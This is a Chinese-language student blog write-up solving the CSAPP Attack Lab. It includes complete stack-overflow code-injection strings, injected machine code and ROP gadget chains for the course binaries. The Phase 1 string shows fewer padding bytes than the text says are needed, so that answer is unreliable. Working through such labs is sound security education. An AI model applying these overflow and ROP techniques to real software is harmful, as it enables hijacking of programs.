CSAPP Lab-3 ATTACKLAB
书接上回,这次做到了第三个 Lab 啦。
任务描述
这一个 Lab 的任务就更有意思了,实验给了我们两个程序,每个程序都会让我们输入一行字符串,而它们是通过下面这个函数来读取的:
unsigned getbuf() {
char buf[BUFFER_SIZE];
Gets(buf);
return 1;
}
其中,Gets
函数和 C 库的 gets
函数实现了相同的功能,从标准输入读取一行,并且存储到参数提供的地址上,不判断地址提供的有效空间是否存储得下。
而我们的任务就是利用缓冲区溢出,让本来应该直接输入完正常结束的程序,执行实验要求的某些函数。
实验希望我们使用两种攻击方法,分别是注入攻击(Code injection, CI)和 ROP 攻击(Return-oriented programming)。实验提供了两个相应的程序,CTARGET
和 RTARGET
,分别用来配合注入攻击和 ROP 攻击。一共有 \(5\) 个任务,其中分为 \(3\) 个注入攻击任务和两个 ROP 攻击任务。
前置知识
-
对于程序运行的栈帧格式是一定要熟悉的。当然,仅仅依靠这个图是不行的,不同栈使用方式、系统环境都会让编译器选择不同的分配方式,因此要结合反汇编程序来观察。
-
想要代码注入的话,那么需要输入代码的字节级表示,显然是不能使用可见字符的形式输入的。实验为我们提供了
hex2raw
程序,可以帮我们将十六进制串转变为二进制文件以供输入。 -
注意小端法机器的十六进制序列输入顺序。
-
要先使用
objdump -d ctarget
和objdump -d rtarget
来获取两个程序的反汇编。
Phase 1 CI touch1
第一个任务比较简单,我们不需要进行代码注入,只需要修改函数的返回位置即可。
根据实验说明,ctarget
程序中的 getbuf
都是通过下面的函数调用的:
void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}
而我们的任务就是使得 getbuf
函数在返回的时候,不返回到 test
中,而是返回到下面的 touch1
函数里。
void touch1() {
vlevel = 1; /* Part of validation protocol */
printf("Touch1!: You called touch1()\n");
validate(1);
exit(0);
}
这个任务非常简单,我们先观察一下 getbuf
函数的汇编指令:
00000000004017a8 <getbuf>:
4017a8: 48 83 ec 28 sub $0x28,%rsp
4017ac: 48 89 e7 mov %rsp,%rdi
4017af: e8 8c 02 00 00 callq 401a40 <Gets>
4017b4: b8 01 00 00 00 mov $0x1,%eax
4017b9: 48 83 c4 28 add $0x28,%rsp
4017bd: c3 retq
4017be: 90 nop
4017bf: 90 nop
可见,getbuf
函数的 buf
数组是在函数执行前的栈指针下 0x28
位的,而栈指针在函数执行前指向的位置就应该是返回地址存储的位置。因此,函数返回地址就存在 buf
的开始地址后 \(40\) 位处。
因此,我们随便输入 \(40\) 个字符以后,输入 touch1
的地址即可。
touch1
的地址是 00000000004017c0
,我们将需要转化为字符串的数据写入 phase1.txt
。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 17 40 00 00 00 00 00
爆破成功!
Phase 2 CI touch2
第二个任务就有点难度了。这个任务要求我们调用下面的函数:
void touch2(unsigned val) {
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
}else{
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}
这个函数和 touch1
不同的是,touch2
这个函数还带了一个参数,要求我们传递一个 unsigned
类型的参数,这个函数会把参数和 cookie
作比较,相同了才能通过这个任务。
想要传递参数,那么就不能修改返回地址直接 ret
到 touch2
,而是要先跳转到我们自己注入的一段代码,执行后再 ret
到 touch2
的地址。
那么应该和 phase1 类似的是,我们要先输入任意的 40 个字节,然后跟着的应该是我们注入的代码的地址,这样在 getbuf
函数 ret
以后跳转的位置应该就是我们注入的指令了。在我的规划中,我打算继续紧接着放 touch2
的地址 00000000004017ec
,因为在第一次 ret
以后栈指针会加 \(8\),指向的应该就是我们放这个地址的位置了。(当然,将 touch2
的地址在注入的代码中再压入栈里可能是一种更直观的方法)
注意到第一个参数使用的寄存器一般是 %rdi
,我们的 cookie
是 0x59b997fa
,因此我们很容易写出我们应该注入的代码:
movq $0x59b997fa, %rdi
ret
在 shell
中执行:
gcc -c phase2.s
objdump -d phase2.o
就可以得到这段代码的二进制序列了:
48 c7 c7 fa 97 b9 59 c3
这段代码的长度不长,只有几个字节,直接放进 buf
数组的位置中就可以了。
还有一个问题就是这段注入的代码的地址怎么获得呢?这就需要我们在注入这段代码的时候,栈指针的位置,也就是 buf
数组的地址了。我们可以使用 gdb 来获得它的地址,只需要在运行之前,在 getbuf
函数分配栈帧的代码后设置断点即可,在 gdb 打断后输入 %rsp
的值。
于是我们得到了代码的注入位置 0x5561dc78
。
于是我们输入的十六进制序列应该是:
48 c7 c7 fa 97 b9 59 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 ec 17 40 00 00 00 00 00
结果……就在我以为我要通过了的时候:
可能是因为输入的串太长了,导致了程序出现了一个 segmentation fault……
没办法,还是用把 touch2
地址在注入代码中压入栈的方法把。
movq $0x59b997fa, %rdi
pushq $0x00000000004017ec
ret
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00
终于,爆破成功!
Phase 3 CI touch3
第三个任务和第二个任务很相似,只不过,第三个任务要把字符串形式的 cookie
作为参数传入,而不是 unsigned
形式的。
/* Compare string to hex represention of unsigned value */
int hexmatch(unsigned val, char *sval)
{
char cbuf[110];
/* Make position of check string unpredictable */
char *s = cbuf + random() % 100;
sprintf(s, "%.8x", val);
return strncmp(sval, s, 9) == 0;
}
void touch3(char *sval)
{
vlevel = 3; /* Part of validation protocol */
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}
在实验说明中给出了 hexmatch
函数和 touch3
函数的实现,可以看出 hexmatch
函数会将 cookie 转化为一个 \(8\) 个字符的十六进制,然后和我们传入的字符串比较是否相等。
于是我们的思路也很简单,我们先将 cookie 的字符串存进一个位置中,然后将这个地址赋值给 %rdi
即可,其余的部分保持和 Phase2 一样(touch3
的地址也替换掉)。
然后你可能就会立刻开始操作,将字符串存储进 getbuf
的缓冲区的一个位置,计算出这个位置的地址填进 %rdi
。然而……这个思路可能会有一些问题(哈哈哈哈我自己试了一遍才发现不行):因为在 hexmatch
中会新开一个长 cbuf
数组,在这个数组中的任意一个位置都有可能会被 ssprintf
输出。而我们存储字符串的位置在这个函数调用时的栈指针下面,是栈扩展的方向,因此我们的字符串可能会被覆盖掉!
为了避免这个问题,我们可以将字符串存储在返回地址的后面,也就是 buf + 0x28 + 0x8
的位置,这样就不会被覆盖了。根据 Phase2 的结果,buf
的地址是 0x5561dc78 + 0x30 = 0x5561dca8
。
另外,touch3
的地址是 00000000004018fa
,于是我们可以写出汇编代码:
movq $0x5561dca8, %rdi
pushq $0x00000000004018fa
ret
转化成机器码序列:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3
进而,我们的十六进制输入序列就是:
48 c7 c7 a8 dc 61 55 68 fa 18 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 35 39 62 39 39 37 66 61
爆破成功!
Phase 4 ROP touch2
代码注入的攻击方式虽然简单,但是很容易就可以让它无法成功:比如限制栈区域的数据是不可执行的,或者使用栈随机化等方法。
另一个被称为 ROP 攻击的方法,通过在我们现有代码中,寻找部分可以为我们所有的片段组合起来,形成我们的攻击。我们在代码中找到若干个片段,每个片段包括一系列的指令,最后跟着一个 ret
指令。我们可以将数个代码片段的地址放在返回地址中,形成下图所示的结构,使得在当前函数返回的时候,可以依次进入到我们每个代码片段中执行一遍,然后再一次 ret
就可以进入下一个代码片段中。这样的每个片段被我们称为 gadget
。
当然,我们并不一定每次都能找到所有需要的操作。不过我们可以使用一些奇怪的方法来完成,比如从一个指令的一半处截取。比如以下的函数:
void setval_210(unsigned *p)
{
*p = 3347663060U;
}
它的汇编代码是:
0000000000400f15 <setval_210>:
400f15: c7 07 d4 48 89 c7 movl $0xc78948d4,(%rdi)
400f1b: c3 retq
我们从 0x400f18
出开始执行,那么我们得到的等价指令就是:
movq %rax, %rdi
ret
而在我们的任务中,我们可以使用实验提供的 gadget farm 中的片段,gadget farm 在 rtarget
程序的 start_farm 和 end_farm 两个函数之间,我们只能使用这里面的 gadget。
我们现在来看 Phase4。
Phase4 要求我们实现 Phase2 相同的功能,只不过是使用 ROP 的方式。
回忆一下我们 Phase2 使用的汇编代码:
movq $0x59b997fa, %rdi
pushq $0x4017ec
ret
对应于一段 48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3
的机器指令。
然而很遗憾,我们根本不可能找到这些能恰好表示出立即数的片段。一个很容易想到的方法是将 $0x59b997fa
和 $0x4017ec
依次放入栈中,然后调用下面的汇编指令来实现我们的需求:
popq %rdi
ret
对应的机器码只有 5f c3
这么简单。然而……即使只有这么简单,在实验提供的 gadget farm 中也完全找到符合要求的片段。
那么我们只能考虑能不能把 popq %rdi
的需求分开来实现。考虑到我们刚刚才举例过一个 movq %rax, %rdi
的例子,而这个例子就出自 gadget farm,我们只要找到 popq %rax; ret
就可以补齐了,这两个指令对应的编码是 58 c3
。
……然而,还是找不到……
但是,我们可以发现实验给了个提示:
nop : This instruction (pronounced “no op,” which is short for “no operation”) is encoded by the single byte 0x90. Its only effect is to cause the program counter to be incremented by 1.
我们可以在 popq %rax
后面插入若干个 nop
指令来保持相同的功能。于是我们开始搜索 58 90
。
很快,我们就找到了这个 gadget:
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
最后的三个字节 58 90 c3
完美符合我们的需要。这个位置的地址应该是 0x4019a7 + 4 = 4019ab
。
然而我发现我找不到之前 movq %rax, %rdi
的例子里提到的 setval_210
函数……敢情实验文档在骗我……那就搜索一下把。
这个指令的编码是 48 89 c7
。第一次搜索发现找不到合适的,那就补充一个 nop
:48 89 c7 90
……寻找成功!
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
位置应该是 0x4019c3 + 2 = 0x4019c5
:
因此,我们可以构造出我们的攻击串了:\(40\) 个任意字符,加上 4019ab
,接上我们需要从栈中弹出的 cookie:0x59b997fa
,加上第二个 gadget 的地址 0x4019c5
,最后是 touch2
的地址:0x4017ec
。
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ab 19 40 00 00 00 00 00 fa 97 b9 59 00 00 00 00 c5 19 40 00 00 00 00 00 ec 17 40 00 00 00 00 00
爆破成功!
PS:其实还有另一个解,
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
这个函数从 0x4019a0 + 2 = 0x4019a2
开始,也形成了一个 48 89 c7 c3
,虽然这个 c3
不是原来天然的 ret
,但是也是可以用的。
Phase 5 ROP touch3
Phase 5 的任务和 Phase 3 很相似,只不过我们需要使用 ROP 攻击的方式完成。
让我们先来回顾一下 Phase 3 的攻击方法。我们注入了以下这段代码的机器码到栈中,并将栈地址和字符串内容分别放在了返回地址及其后面 \(8\) 个字节上。
0000000000000000 <.text>:
0: 48 c7 c7 a8 dc 61 55 mov $0x5561dca8,%rdi
7: 68 fa 18 40 00 pushq $0x4018fa
c: c3 retq
显然我们这个代码中应该采用类似的思路,但是我们知道很难找到这样的完整的立即数地址。
所以我们现在是不是应该有一个很清晰的思路了:和 Phase 4 类似,对于第一条指令的立即数地址(也就是我们存放 cookie 字符串的地址),我们将之放入栈中,通过 popq 指令提取出来。对于第二条指令,我们将 touch3
的指令放进栈里,直接 ret
就可以到达了,不必专门在指令中压栈。
如果你是这样想——那么很遗憾,这是行不通的。因为采取了栈随机化的策略,我们没有办法知道每次运行时栈指针的位置,也就不知道 buf
数组开始的地址了。因此我们没办法找到我们放字符串的地址,也就没法提前写进我们攻击的字符串里。
那么怎么解决呢?cookie 字符串是只能放在栈里的,这是没有办法绕开的,因此我们只能从怎么表示出这个地址上入手。很明显,我们存放 cookie 串的位置和每次运行栈的相对位置是不变的——或者说偏移量是固定的。
当然,偏移量一般是用立即数来表示的,但是如果我们用立即数那么肯定需要使用 addq
指令,这个指令的机器码一定会含有 48 83
,这在我们的 farm 中除了根本找不到。
那么我们还有一种策略就是将偏移存储进栈中,然后从栈中读取,再和 %rsp
的副本做运算即可。可以使用 leaq
指令来完成这个运算。
这样我们可以大概写出我们需要的汇编指令:
movq %rsp, %rxx
popq %ryy # 栈中这个 gadget 的后面应该是偏移量的值
leaq (%rxx, %ryy, 1), %rdi
ret
其中,%rxx
%ryy
可以是任意一个寄存器。
当然,想要直接找到满足我们需要的指令显然是不可能的,我们可以找很多可以间接使用的指令。
一句一句来找吧!movq %rsp, %rxx
对应的机器码是 48 89 e?
,当然还要再加上一个 ret
(c3
)。我们尝试找到类似 movq %rsp, %rxx
的所有指令,只有 movq %rsp, %rax
找成功了,地址是 0x401a03 + 3 = 401a06
。
0000000000401a03 <addval_190>:
401a03: 8d 87 41 48 89 e0 lea -0x1f76b7bf(%rdi),%eax
401a09: c3 retq
当然,只有 movq %rsp, %rax
并不保险,为了以防 %rax
并不能一步到位,我们再找到类似于 movq %rax, %???
的所有指令,其编码应该是 48 89 c?
,这里我们只找到了 movq %rax, %rdi
的指令,也就是前一个 Phase 中我们找到的,位于 0x4019c5
:
00000000004019c3 <setval_426>:
4019c3: c7 07 48 89 c7 90 movl $0x90c78948,(%rdi)
4019c9: c3 retq
当然,movl
的指令也是可以用的,这里我们也找出来 movl %eax, %e??
的所有指令,其机器码应为 89 c?
。我们也只找到了两条,0x4019a3
的 movl %eax, %edi
和 4019dd
的 movl %eax, %edx
。
00000000004019a0 <addval_273>:
4019a0: 8d 87 48 89 c7 c3 lea -0x3c3876b8(%rdi),%eax
4019a6: c3 retq
00000000004019db <getval_481>:
4019db: b8 5c 89 c2 90 mov $0x90c2895c,%eax
4019e0: c3 retq
(我们也尝试找了 movl %esp, %e??
的指令,但是只有 movl %esp, %eax
,与 movq
版本的指令意义重复了)
接下来是 popq %ryy
,这个指令的机器码是 5?
,只能找到这一种类型popq %rax
,位于0x4019a7 + 4 = 4019ab
。
00000000004019a7 <addval_219>:
4019a7: 8d 87 51 73 58 90 lea -0x6fa78caf(%rdi),%eax
4019ad: c3 retq
很显然,因为我们找到的 %rxx
和 %ryy
都是 %rax
,因此我们必须要将 %rxx
拷贝进别的寄存器。我们先寻找一下第三条语句需要的寄存器,再决定前两条语句怎么拷贝。
gadget farm 中有现成的 leaq (%rdi,%rsi,1),%rax
语句,如果我们直接利用现成的语句,需要将一个 %rax
拷贝到 %rdi
中,另一个拷贝到 %rsi
中。拷贝到 %rdi
中我们是有已经找好的指令的,但是拷贝到 %rsi
中我们还没有找到。
00000000004019d6 <add_xy>:
4019d6: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
4019da: c3 retq
我们已经可以做到从 %rax
拷贝到 %rdx
和 %rdi
,那么我们不妨使用它们作为中转,找到到达 %rsi
的路径。我们无法找到 movl %edi, %e??
的指令,但是可以找到一条满足 movl %edx, %ecx
的指令,位于 0x401a68 + 1 = 401a69
。这个指令中,我们需要的指令是 89 d1 08 db c3
,其中 89 d1
是 movl %edx, %ecx
,c3
是 ret
,中间的 08 db
代表 xorb %bl
,不会做出实际的运算,所以可以当做 nop
使用。
0000000000401a68 <getval_311>:
401a68: b8 89 d1 08 db mov $0xdb08d189,%eax
401a6d: c3 retq
好,我们现在再从 %rcx
出发,寻找到达 %rsi
的路径。很快我们就找到了这样一条 movl %ecx, %esi
,成功啦!这条指令位于 0x401a11 + 2 = 0x401a13
。
0000000000401a11 <addval_436>:
401a11: 8d 87 89 ce 90 90 lea -0x6f6f3177(%rdi),%eax
401a17: c3 retq
好,现在我们可以整理出我们目前已经找到的指令了:
movq %rsp, %rax # 0x401a06
movq %rax, %rdi # 0x4019c5
popq %rax # 0x4019ab
movl %eax, %edx # 0x4019dd
movl %edx, %ecx # 0x401a69
movl %ecx, %esi # 0x401a13
leaq (%rdi,%rsi,1),%rax # 0x4019d6
movq %rax, %rdi # 0x4019c5
成功!
现在我们只需要再整理一下栈帧即可。
上图就是我们本次注入的栈帧示意图,相应的十六进制序列是:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
06 1a 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
ab 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
dd 19 40 00 00 00 00 00
69 1a 40 00 00 00 00 00
13 1a 40 00 00 00 00 00
d6 19 40 00 00 00 00 00
c5 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
35 39 62 39 39 37 66 61 00
爆破成功!
最后
这一次的实验任务还是很有趣味的,虽然感觉并不一定能教会我什么东西……但是让我对于过程调用的栈帧机制有了更深刻的理解,之前很多在书上学到的纸面知识在实践中被亲手验证和利用的感觉还是很不错的,也确实会让我在之后多家警惕这种由缓冲区溢出带来的危害。